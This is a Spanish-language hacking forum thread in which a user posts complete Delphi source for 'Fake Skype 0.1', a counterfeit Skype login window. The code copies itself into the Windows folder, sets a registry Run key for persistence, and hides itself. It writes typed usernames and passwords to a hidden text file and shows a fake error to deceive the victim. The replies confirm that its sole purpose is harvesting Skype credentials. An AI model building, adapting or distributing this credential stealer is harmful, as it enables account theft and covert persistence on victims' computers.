comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] Fake Skype 0.1

  • 2 Respuestas
  • 2252 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Agosto 16, 2013, 01:40:21 pm »
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código: Delphi
  1. // Fake Skype 0.1
  2. // Coded By Doddy H
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.   TForm1 = class(TForm)
  14.     Image1: TImage;
  15.     Edit1: TEdit;
  16.     Edit2: TEdit;
  17.     Image2: TImage;
  18.     procedure Image2Click(Sender: TObject);
  19.     procedure FormCreate(Sender: TObject);
  20.     procedure Edit2Click(Sender: TObject);
  21.     procedure Edit1Click(Sender: TObject);
  22.  
  23.   private
  24.     { Private declarations }
  25.   public
  26.     { Public declarations }
  27.   end;
  28.  
  29. var
  30.   Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.Edit1Click(Sender: TObject);
  37. begin
  38.   Edit1.Text := '';
  39. end;
  40.  
  41. procedure TForm1.Edit2Click(Sender: TObject);
  42. begin
  43.   Edit2.Text := '';
  44. end;
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47.  
  48. var
  49.   nombrereal: string;
  50.   rutareal: string;
  51.   yalisto: string;
  52.   her: TRegistry;
  53.  
  54. begin
  55.  
  56.   nombrereal := ExtractFileName(ParamStr(0));
  57.   rutareal := ParamStr(0);
  58.   yalisto := 'C:\WINDOWS\' + nombrereal;
  59.  
  60.   MoveFile(Pchar(rutareal), Pchar(yalisto));
  61.  
  62.   her := TRegistry.Create;
  63.   her.RootKey := HKEY_LOCAL_MACHINE;
  64.  
  65.   her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  66.   her.WriteString('uber', yalisto);
  67.   her.Free;
  68.  
  69.   SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  70.   SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  71.  
  72. end;
  73.  
  74. procedure TForm1.Image2Click(Sender: TObject);
  75. var
  76.   archivo: TextFile;
  77.   ruta: string;
  78.  
  79. begin
  80.  
  81.   if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  82.   begin
  83.     WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  84.   end
  85.   else
  86.   begin
  87.  
  88.     if Edit1.Text = '' then
  89.     begin
  90.       ShowMessage(
  91.         'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com');
  92.     end;
  93.     if Edit2.Text = '' then
  94.     begin
  95.       ShowMessage('Escribe tu contraseña');
  96.     end
  97.     else
  98.     begin
  99.       if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.       begin
  101.         ShowMessage('Escribe tu contraseña');
  102.       end
  103.       else
  104.       begin
  105.         ruta := 'c:/windows/datos.txt'; // mod
  106.         if FileExists(ruta) then
  107.         begin
  108.           AssignFile(archivo, ruta);
  109.           FileMode := fmOpenWrite;
  110.           Append(archivo);
  111.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  112.               Edit2.Text);
  113.           CloseFile(archivo);
  114.           Application.MessageBox(
  115.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  116.             MB_OK);
  117.           Form1.Close;
  118.         end
  119.         else
  120.         begin
  121.           AssignFile(archivo, ruta);
  122.           FileMode := fmOpenWrite;
  123.           ReWrite(archivo);
  124.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  125.               Edit2.Text);
  126.           CloseFile(archivo);
  127.           Application.MessageBox(
  128.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  129.             MB_OK);
  130.           Form1.Close;
  131.         end;
  132.       end;
  133.     end;
  134.   end;
  135.  
  136. end;
  137.  
  138. end.
  139.  
  140. // The End ?
  141.  

Si quieren bajarlo lo pueden hacer de No tienes permisos para ver links. Registrate o Entra con tu cuenta.

Desconectado sniffer

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Agosto 16, 2013, 03:30:03 pm »
Hi bro
thanks
how use this code bro ?

Desconectado CrazyKade

  • *
  • Underc0der
  • Mensajes: 182
  • Actividad:
    0%
  • Reputación 0
  • Я только знаю что ничего не знаю!
    • Ver Perfil
« Respuesta #2 en: Agosto 16, 2013, 03:43:55 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Hi bro
thanks
how use this code bro ?

Read the code and you will understand how to use it. It's just a fake skype interfase. The only purpose is to log user and pass of skype accounts.
By the way, it's cool Doddy!

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1985
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3131
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3263
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1415
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2577
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear